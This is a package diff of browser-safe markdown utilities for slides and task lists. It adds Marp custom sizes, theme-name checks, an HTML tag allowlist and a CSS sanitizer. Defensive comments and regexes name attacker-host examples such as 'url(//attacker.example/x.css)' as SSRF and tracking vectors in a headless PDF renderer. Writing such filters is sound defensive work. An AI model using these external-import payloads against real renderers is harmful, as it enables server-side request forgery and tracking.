+ if (!match)
55
+ return null;
56
+ const width = Number(match[1]);
57
+ const height = Number(match[2]);
58
+ // Reject hostile / typo'd values past the canvas cap. Returning
59
+ // null falls through to Marp's own parser (which silently ignores
60
+ // unknown sizes), so the deck still renders at the default 1280×720
61
+ // instead of crashing Puppeteer.
62
+ if (!inBounds(width) || !inBounds(height))
63
+ return null;
64
+ return { width, height };
65
+ }
66
+ function serializeMarkdown(meta, body) {
67
+ const yamlText = yamlDump(meta, { lineWidth: -1, sortKeys: false }).trimEnd();
68
+ return `---\n${yamlText}\n---\n${body}`;
69
+ }
70
+ /**
71
+ * Intercept Marp's `size:` directive for values the built-in themes
72
+ * don't understand. When a custom size is detected, registers a
73
+ * composite theme on the Marp instance and returns markdown rewritten
74
+ * to use it. Pass-through for standard `16:9` / `4:3` (Marp handles
75
+ * them natively) and for documents that don't declare a size.
76
+ */
77
+ export function applyCustomMarpSize(marp, markdown) {
78
+ const { meta, body, hasHeader } = parseFrontmatter(markdown);
79
+ if (!hasHeader)
80
+ return markdown;
81
+ const sizeValue = typeof meta.size === "string" ? meta.size.trim() : "";
82
+ if (sizeValue === "" || sizeValue === "16:9" || sizeValue === "4:3")
83
+ return markdown;
84
+ const dims = parseCustomSize(sizeValue);
85
+ if (!dims)
86
+ return markdown;
87
+ const rawTheme = typeof meta.theme === "string" ? meta.theme.trim() : "default";
88
+ // Drop hostile / non-identifier theme names down to "default"
89
+ // BEFORE building the generated theme name or its `@import` —
90
+ // otherwise quotes / `@import` tokens / CSS injection slip into
91
+ // the registered CSS and Puppeteer would fetch them.
92
+ const userTheme = SAFE_THEME_NAME_RE.test(rawTheme) ? rawTheme : "default";
93
+ // Avoid recursion if a previous render already swapped in a
94
+ // generated theme name — re-applying would compose-on-compose.
95
+ if (userTheme.startsWith("mc_size_"))
96
+ return markdown;
97
+ const themeName = `mc_size_${userTheme}_${dims.width}x${dims.height}`;
98
+ marp.themeSet.add(`/* @theme ${themeName} */\n@import "${userTheme}";\nsection { width: ${dims.width}px; height: ${dims.height}px; }`);
99
+ const newMeta = { ...meta, theme: themeName };
100
+ delete newMeta.size;
101
+ return serializeMarkdown(newMeta, body);
102
+ }
@@ -0,0 +1 @@
1
+ export declare function isMarpDocument(meta: Record<string, unknown>): boolean;
@@ -0,0 +1,16 @@
1
+ // Marp opt-in detection from parsed frontmatter. Marp's own convention
2
+ // is the `marp: true` directive in the YAML header. We also accept the
3
+ // string forms `"true"` / `"yes"` and the boolean-ish `1` so an LLM that
4
+ // quoted the value still lands in slide mode.
5
+ export function isMarpDocument(meta) {
6
+ const value = meta.marp;
7
+ if (value === true)
8
+ return true;
9
+ if (value === 1)
10
+ return true;
11
+ if (typeof value === "string") {
12
+ const normalized = value.trim().toLowerCase();
13
+ return normalized === "true" || normalized === "yes" || normalized === "1";
14
+ }
15
+ return false;
16
+ }
@@ -0,0 +1,28 @@
1
+ /** Inline-HTML allowlist for `new Marp({ html: ... })`. Each entry
2
+ * permits a tag with the listed attributes; everything else stays
3
+ * escaped. Kept conservative on purpose — adding event-handler
4
+ * attrs (`onclick`, `onerror`, …) or interactive tags (`script`,
5
+ * `iframe`, `form`, `input`, …) would defeat the point of having
6
+ * an allowlist at all.
7
+ *
8
+ * Plain (non-readonly) arrays because Marp's HTMLAllowList type
9
+ * is mutable `string[]` — we can't hand it `readonly string[]`. */
10
+ export declare const MARP_HTML_ALLOWLIST: Record<string, string[]>;
11
+ /** Strip the `.css` extension and validate the slug.
12
+ * Returns null for names that wouldn't survive Marp's own
13
+ * `[A-Za-z0-9_-]` validator. */
14
+ export declare function marpThemeNameFromFilename(filename: string): string | null;
15
+ /** Re-stamp the `@theme <name>` Marp directive on the CSS so the
16
+ * registered name matches the filename (the convention the rest of
17
+ * the system relies on). If the CSS already declares a different
18
+ * name, the filename wins — we don't want a `themes/foo.css` that
19
+ * registers as "bar", because the frontmatter lookup would silently
20
+ * miss. */
21
+ export declare function ensureThemeDirective(css: string, themeName: string): string;
22
+ export interface SanitizeResult {
23
+ ok: boolean;
24
+ reason?: string;
25
+ }
26
+ /** Reject CSS that would pull external resources at render time.
27
+ * Allows `data:` URIs (inline fonts) and same-origin / relative refs. */
28
+ export declare function sanitizeMarpThemeCss(css: string): SanitizeResult;
@@ -0,0 +1,99 @@
1
+ // Marp custom-theme helpers (#1649). Shared by the frontend (MarpView)
2
+ // and the server (PDF route + workspace I/O).
3
+ //
4
+ // Also exposes `MARP_HTML_ALLOWLIST` — the inline-HTML tag/attribute
5
+ // whitelist passed to `new Marp({ html: ... })` in both surfaces, so
6
+ // preview and PDF agree on which raw-HTML tags survive Marp's
7
+ // markdown-it pass. Default Marp config (`html: false`) escapes
8
+ // every `<div>` / `<span>` / `<img>` etc.; we open the door to a
9
+ // small, attribute-scoped subset that covers slide-layout needs
10
+ // without admitting `<script>` / `<iframe>` / form elements.
11
+ //
12
+ // Marp identifies themes by a `/* @theme <name> */` comment at the
13
+ // top of the CSS source. The workspace convention is **filename =
14
+ // theme name**: `config/marp-themes/corporate.css` registers a theme
15
+ // named `corporate` and is referenced from a deck's frontmatter
16
+ // `theme: corporate`. `ensureThemeDirective` injects the directive
17
+ // if the file omits it, so users don't have to remember the
18
+ // boilerplate.
19
+ //
20
+ // `sanitizeMarpThemeCss` rejects any CSS that pulls external
21
+ // resources at render time. The Marp themeSet itself happily accepts
22
+ // `@import url(http://...)` and `url(http://attacker/track.png)`,
23
+ // but our preview iframe's CSP already denies non-same-origin
24
+ // network traffic — so a theme that needed those would render
25
+ // broken anyway, and accepting it would create an SSRF / tracking
26
+ // vector in the server-side PDF path which runs in a headless
27
+ // browser without the iframe's CSP. Block at load time; surface a
28
+ // diagnostic on the bell so authors notice.
29
+ const LAYOUT_ATTRS = ["id", "class", "style"];
30
+ /** Inline-HTML allowlist for `new Marp({ html: ... })`. Each entry
31
+ * permits a tag with the listed attributes; everything else stays
32
+ * escaped. Kept conservative on purpose — adding event-handler
33
+ * attrs (`onclick`, `onerror`, …) or interactive tags (`script`,
34
+ * `iframe`, `form`, `input`, …) would defeat the point of having
35
+ * an allowlist at all.
36
+ *
37
+ * Plain (non-readonly) arrays because Marp's HTMLAllowList type
38
+ * is mutable `string[]` — we can't hand it `readonly string[]`. */
39
+ export const MARP_HTML_ALLOWLIST = {
40
+ div: [...LAYOUT_ATTRS],
41
+ span: [...LAYOUT_ATTRS],
42
+ img: ["src", "alt", "width", "height", ...LAYOUT_ATTRS],
43
+ br: [],
44
+ sub: [...LAYOUT_ATTRS],
45
+ sup: [...LAYOUT_ATTRS],
46
+ small: [...LAYOUT_ATTRS],
47
+ };
48
+ const THEME_DIRECTIVE_RE = /\/\*\s*@theme\s+([A-Za-z0-9_-]+)\s*\*\//;
49
+ /** Strip the `.css` extension and validate the slug.
50
+ * Returns null for names that wouldn't survive Marp's own
51
+ * `[A-Za-z0-9_-]` validator. */
52
+ export function marpThemeNameFromFilename(filename) {
53
+ const lower = filename.toLowerCase();
54
+ if (!lower.endsWith(".css"))
55
+ return null;
56
+ const base = filename.slice(0, -4);
57
+ if (!/^[A-Za-z0-9_-]+$/.test(base))
58
+ return null;
59
+ return base;
60
+ }
61
+ /** Re-stamp the `@theme <name>` Marp directive on the CSS so the
62
+ * registered name matches the filename (the convention the rest of
63
+ * the system relies on). If the CSS already declares a different
64
+ * name, the filename wins — we don't want a `themes/foo.css` that
65
+ * registers as "bar", because the frontmatter lookup would silently
66
+ * miss. */
67
+ export function ensureThemeDirective(css, themeName) {
68
+ const stripped = css.replace(THEME_DIRECTIVE_RE, "").trimStart();
69
+ return `/* @theme ${themeName} */\n${stripped}`;
70
+ }
71
+ // External URL fingerprint: `url(...)` or bare-string `@import "..."`
72
+ // pointing at `http(s)://` OR a protocol-relative `//host/...`.
73
+ //
74
+ // The protocol-relative form (`//attacker.example/x.css`) was a real
75
+ // bypass in the first cut — the preview iframe's CSP still blocked
76
+ // it, but the PDF route runs in puppeteer without that CSP, so
77
+ // `@import url(//attacker/...)` would happily fetch (CodeRabbit +
78
+ // Codex review on #1653).
79
+ // Strip every run of whitespace before matching so adversarial
80
+ // padding (`url ( " http...`) can't pad the gap to evade
81
+ // detection. Marp doesn't care about whitespace inside `url()` /
82
+ // `@import` either, so a theme that hides intent under 1 000 spaces
83
+ // renders the same as one without — we'd lose nothing by ignoring
84
+ // the spaces. The patterns below run against the stripped string,
85
+ // so they contain no `\s` quantifiers and can't backtrack on any
86
+ // input (linear time, ReDoS-safe). Codex flagged the previous
87
+ // bounded-`\s{0,8}` form as bypassable with 9+ spaces on PR #1653.
88
+ const STRIPPED_URL_EXTERNAL_RE = /url\(["']?(?:https?:|\/\/)/i;
89
+ const STRIPPED_IMPORT_EXTERNAL_RE = /@import["'](?:https?:|\/\/)/i;
90
+ const WHITESPACE_RE = /\s+/g;
91
+ /** Reject CSS that would pull external resources at render time.
92
+ * Allows `data:` URIs (inline fonts) and same-origin / relative refs. */
93
+ export function sanitizeMarpThemeCss(css) {
94
+ const compact = css.replace(WHITESPACE_RE, "");
95
+ if (STRIPPED_URL_EXTERNAL_RE.test(compact) || STRIPPED_IMPORT_EXTERNAL_RE.test(compact)) {
96
+ return { ok: false, reason: "external url() / @import is not allowed" };
97
+ }
98
+ return { ok: true };
99
+ }
@@ -0,0 +1,36 @@
1
+ /** Find the source-line index of every task-list item, in document
2
+ * order, skipping content inside fenced code blocks. Returned array
3
+ * length is the total task count the source-side walker sees.
4
+ *
5
+ * Exported so callers can cross-check the count against marked's
6
+ * rendered DOM (`input.md-task` element count). When the two
7
+ * disagree the source has tasks that marked is treating as code
8
+ * (e.g. content of a 4-space indented code block) — the only safe
9
+ * reaction is to refuse the click, never blindly toggle the
10
+ * source-side n-th line.
11
+ */
12
+ export declare function findTaskLines(source: string): number[];
13
+ /** Toggle the n-th task-list checkbox in `source`. Returns the new
14
+ * markdown, or `null` if the index is out of range or the matched
15
+ * line isn't actually a task line (defensive against source/DOM
16
+ * drift). Indexing matches `marked`'s render order: top-down,
17
+ * document order, skipping content inside fenced code blocks.
18
+ *
19
+ * Known limitation: 4-space *indented* code blocks (the alternative
20
+ * to fenced) aren't tracked, so a ` - [ ] foo` line written as
21
+ * literal code inside an indented block would be counted as a task
22
+ * even though `marked` renders it verbatim. Full CommonMark indented-
23
+ * code-block detection is context-dependent (needs blank-line
24
+ * history, list-continuation column, etc.); the practical workaround
25
+ * is twofold: (1) prefer fenced code for samples that contain task
26
+ * syntax, and (2) the caller cross-checks `findTaskLines(source).length`
27
+ * against the rendered DOM's `input.md-task` count and refuses to
28
+ * write when they disagree, so the worst case is a no-op click — not
29
+ * data corruption.
30
+ */
31
+ export declare function toggleTaskAt(source: string, taskIndex: number): string | null;
32
+ /** Strip `disabled=""` from rendered GFM task checkboxes and tag them
33
+ * with `class="md-task"` so the viewer's click delegation can find
34
+ * them. Idempotent — running twice on the same HTML is a no-op on
35
+ * the second pass (the `disabled` attribute is gone). */
36
+ export declare function makeTasksInteractive(html: string): string;
@@ -0,0 +1,170 @@
1
+ // GFM task-list helpers for the markdown viewer (#775).
2
+ //
3
+ // Two pieces, both pure / DOM-free so they can be unit tested:
4
+ //
5
+ // - `toggleTaskAt(markdown, taskIndex)` — toggle the n-th `- [ ]` /
6
+ // `- [x]` line in the source. Walks lines and skips fenced code
7
+ // blocks so a literal task-looking line inside ``` ... ``` is not
8
+ // counted, matching what `marked` renders.
9
+ //
10
+ // - `makeTasksInteractive(html)` — strip the `disabled=""` attribute
11
+ // that marked puts on rendered task checkboxes and tag them with
12
+ // `class="md-task"` so the click handler can find them via DOM
13
+ // delegation. We post-process the HTML rather than override
14
+ // marked's renderer to avoid mutating the global `marked` instance
15
+ // (which is also used by wiki/View.vue, where this PR doesn't yet
16
+ // enable interactive tasks).
17
+ // Matches a GFM task-list marker at the start of a list line. The
18
+ // `prefix` group absorbs leading whitespace plus any blockquote
19
+ // markers (`>`, possibly nested), so:
20
+ // - [ ] foo
21
+ // * [x] bar
22
+ // 1. [ ] dot-style ordered
23
+ // 1) [ ] paren-style ordered
24
+ // > - [ ] quoted
25
+ // > > - [ ] nested-quoted
26
+ // all match. `marked` renders all of these as a real task checkbox,
27
+ // so they need to be counted (and writable) by the index walker.
28
+ //
29
+ // Captures: prefix (indent + any `>` chains), bullet, separator, mark.
30
+ // `\s*` and `>\s*` operate on disjoint character classes from the
31
+ // surrounding bullet / separator / mark, so the nested quantifiers
32
+ // can't overlap to produce ReDoS — each pass is linear in line length.
33
+ // eslint-disable-next-line security/detect-unsafe-regex -- markdown task-line parser, bounded captures with hard delimiters
34
+ const TASK_LINE = /^(\s*(?:>\s*)*)([-*+]|\d+[.)])(\s+)\[([ xX])\]/;
35
+ // Fenced code block opener/closer. CommonMark allows fences to be
36
+ // indented up to 3 spaces; ≥ 4 leading spaces makes the line literal
37
+ // content of an indented code block, so we must NOT treat that as a
38
+ // fence — otherwise the index-counter drifts. ``` and ~~~ are both
39
+ // legal; the closing fence must use the same character as the opener.
40
+ //
41
+ // `stepFence` strips any leading blockquote prefix before applying
42
+ // this regex so blockquote-wrapped fences (`> ``` ... `> ``` `) are
43
+ // recognised. Without that, content inside a quoted fence would
44
+ // be walked at top level and any `> - [ ]`-shaped line inside would
45
+ // be miscounted as a task — making the View's count-cross-check
46
+ // refuse all toggles in the whole document.
47
+ const FENCE_LINE = /^( {0,3})(`{3,}|~{3,})/;
48
+ // eslint-disable-next-line security/detect-unsafe-regex -- bounded blockquote-prefix parser; `\s*` / `>\s?` / outer `+` operate on disjoint character classes (no overlap)
49
+ const BLOCKQUOTE_PREFIX = /^(\s*(?:>\s?)+)/;
50
+ // Update fence state for a single line. Returns true when the line is
51
+ // part of a fence (opener, closer, or interior) and should be skipped
52
+ // by the task counter.
53
+ function stepFence(line, state) {
54
+ // Strip a blockquote prefix (one or more `>` markers) so a fence
55
+ // line written as `> ```` is recognised the same as a top-level
56
+ // ` ``` `. Inside the blockquote, the 0-3-space indent rule of
57
+ // FENCE_LINE still applies relative to the post-quote content, so
58
+ // `> ``` ` (≥ 4 spaces of content indent) is correctly NOT a
59
+ // fence.
60
+ const quoteMatch = line.match(BLOCKQUOTE_PREFIX);
61
+ const content = quoteMatch ? line.slice(quoteMatch[0].length) : line;
62
+ const fenceMatch = content.match(FENCE_LINE);
63
+ if (fenceMatch) {
64
+ const [, , marker] = fenceMatch;
65
+ if (!state.inFence) {
66
+ // Openers may carry an info string after the marker
67
+ // (e.g. "```ts"). We don't need to keep it — just enter
68
+ // the fenced region.
69
+ state.inFence = true;
70
+ state.marker = marker;
71
+ return true;
72
+ }
73
+ // Closer rules per CommonMark §4.5:
74
+ // (a) same character as opener
75
+ // (b) length ≥ opener
76
+ // (c) NO info string — only whitespace allowed after the marker
77
+ // Without (c), a line like "``` js" inside a fence would be
78
+ // wrongly treated as the closer; marked keeps it as content.
79
+ // (Slice from `content`, not `line` — fenceMatch[0] is relative
80
+ // to the post-blockquote-strip content.)
81
+ const afterMarker = content.slice(fenceMatch[0].length);
82
+ if (state.marker && marker[0] === state.marker[0] && marker.length >= state.marker.length && /^\s*$/.test(afterMarker)) {
83
+ state.inFence = false;
84
+ state.marker = null;
85
+ return true;
86
+ }
87
+ // A fence-shaped line that doesn't satisfy the closer rule is
88
+ // still inside the open fence — skip it like any other content.
89
+ return true;
90
+ }
91
+ return state.inFence;
92
+ }
93
+ // Apply the [ ]/[x] flip captured by `TASK_LINE` and rebuild the line
94
+ // with the rest of the original text intact. `prefix` includes any
95
+ // indentation plus blockquote markers so quoted tasks like
96
+ // `> - [ ] foo` round-trip cleanly.
97
+ function flipMark(line, match) {
98
+ const [whole, prefix, bullet, sep, mark] = match;
99
+ const flipped = mark === " " ? "x" : " ";
100
+ return `${prefix}${bullet}${sep}[${flipped}]${line.slice(whole.length)}`;
101
+ }
102
+ /** Find the source-line index of every task-list item, in document
103
+ * order, skipping content inside fenced code blocks. Returned array
104
+ * length is the total task count the source-side walker sees.
105
+ *
106
+ * Exported so callers can cross-check the count against marked's
107
+ * rendered DOM (`input.md-task` element count). When the two
108
+ * disagree the source has tasks that marked is treating as code
109
+ * (e.g. content of a 4-space indented code block) — the only safe
110
+ * reaction is to refuse the click, never blindly toggle the
111
+ * source-side n-th line.
112
+ */
113
+ export function findTaskLines(source) {
114
+ const lines = source.split("\n");
115
+ const fence = { inFence: false, marker: null };
116
+ const taskLines = [];
117
+ for (let lineIdx = 0; lineIdx < lines.length; lineIdx++) {
118
+ const line = lines[lineIdx];
119
+ if (stepFence(line, fence))
120
+ continue;
121
+ if (TASK_LINE.test(line))
122
+ taskLines.push(lineIdx);
123
+ }
124
+ return taskLines;
125
+ }
126
+ /** Toggle the n-th task-list checkbox in `source`. Returns the new
127
+ * markdown, or `null` if the index is out of range or the matched
128
+ * line isn't actually a task line (defensive against source/DOM
129
+ * drift). Indexing matches `marked`'s render order: top-down,
130
+ * document order, skipping content inside fenced code blocks.
131
+ *
132
+ * Known limitation: 4-space *indented* code blocks (the alternative
133
+ * to fenced) aren't tracked, so a ` - [ ] foo` line written as
134
+ * literal code inside an indented block would be counted as a task
135
+ * even though `marked` renders it verbatim. Full CommonMark indented-
136
+ * code-block detection is context-dependent (needs blank-line
137
+ * history, list-continuation column, etc.); the practical workaround
138
+ * is twofold: (1) prefer fenced code for samples that contain task
139
+ * syntax, and (2) the caller cross-checks `findTaskLines(source).length`
140
+ * against the rendered DOM's `input.md-task` count and refuses to
141
+ * write when they disagree, so the worst case is a no-op click — not
142
+ * data corruption.
143
+ */
144
+ export function toggleTaskAt(source, taskIndex) {
145
+ if (!Number.isInteger(taskIndex) || taskIndex < 0)
146
+ return null;
147
+ const taskLines = findTaskLines(source);
148
+ if (taskIndex >= taskLines.length)
149
+ return null;
150
+ const lineIdx = taskLines[taskIndex];
151
+ const lines = source.split("\n");
152
+ const taskMatch = lines[lineIdx].match(TASK_LINE);
153
+ if (!taskMatch)
154
+ return null;
155
+ lines[lineIdx] = flipMark(lines[lineIdx], taskMatch);
156
+ return lines.join("\n");
157
+ }
158
+ /** Strip `disabled=""` from rendered GFM task checkboxes and tag them
159
+ * with `class="md-task"` so the viewer's click delegation can find
160
+ * them. Idempotent — running twice on the same HTML is a no-op on
161
+ * the second pass (the `disabled` attribute is gone). */
162
+ export function makeTasksInteractive(html) {
163
+ // marked v18 default output:
164
+ // <input disabled="" type="checkbox"> (unchecked)
165
+ // <input checked="" disabled="" type="checkbox"> (checked)
166
+ // Both end with ` type="checkbox">`. Capture everything between
167
+ // `<input ` and `disabled=""` (typically empty or `checked="" `)
168
+ // and re-emit with `class="md-task"` in disabled's slot.
169
+ return html.replace(/<input ([^>]*)disabled="" type="checkbox">/g, '<input $1class="md-task" type="checkbox">');
170
+ }
package/package.json ADDED
@@ -0,0 +1,45 @@
1
+ {
2
+ "name": "@mulmoclaude/markdown-utils",
3
+ "version": "1.0.0",
4
+ "description": "Browser-safe markdown / image rendering utilities shared by the MulmoClaude host and the markdown plugin",
5
+ "type": "module",
6
+ "main": "./dist/index.js",
7
+ "types": "./dist/index.d.ts",
8
+ "exports": {
9
+ ".": {
10
+ "types": "./dist/index.d.ts",
11
+ "import": "./dist/index.js",
12
+ "require": "./dist/index.js",
13
+ "default": "./dist/index.js"
14
+ },
15
+ "./*": {
16
+ "types": "./dist/*.d.ts",
17
+ "import": "./dist/*.js",
18
+ "require": "./dist/*.js",
19
+ "default": "./dist/*.js"
20
+ }
21
+ },
22
+ "files": [
23
+ "dist",
24
+ "README.md"
25
+ ],
26
+ "scripts": {
27
+ "build": "tsc",
28
+ "prepack": "yarn build",
29
+ "typecheck": "tsc --noEmit",
30
+ "test": "tsx --test test/test_*.ts",
31
+ "lint": "eslint src test"
32
+ },
33
+ "license": "MIT",
34
+ "author": "Receptron Team",
35
+ "dependencies": {
36
+ "js-yaml": "^5.2.1"
37
+ },
38
+ "peerDependencies": {
39
+ "vue": "^3.5.0"
40
+ },
41
+ "devDependencies": {
42
+ "typescript": "^6.0.3",
43
+ "vue": "^3.5.40"
44
+ }
45
+ }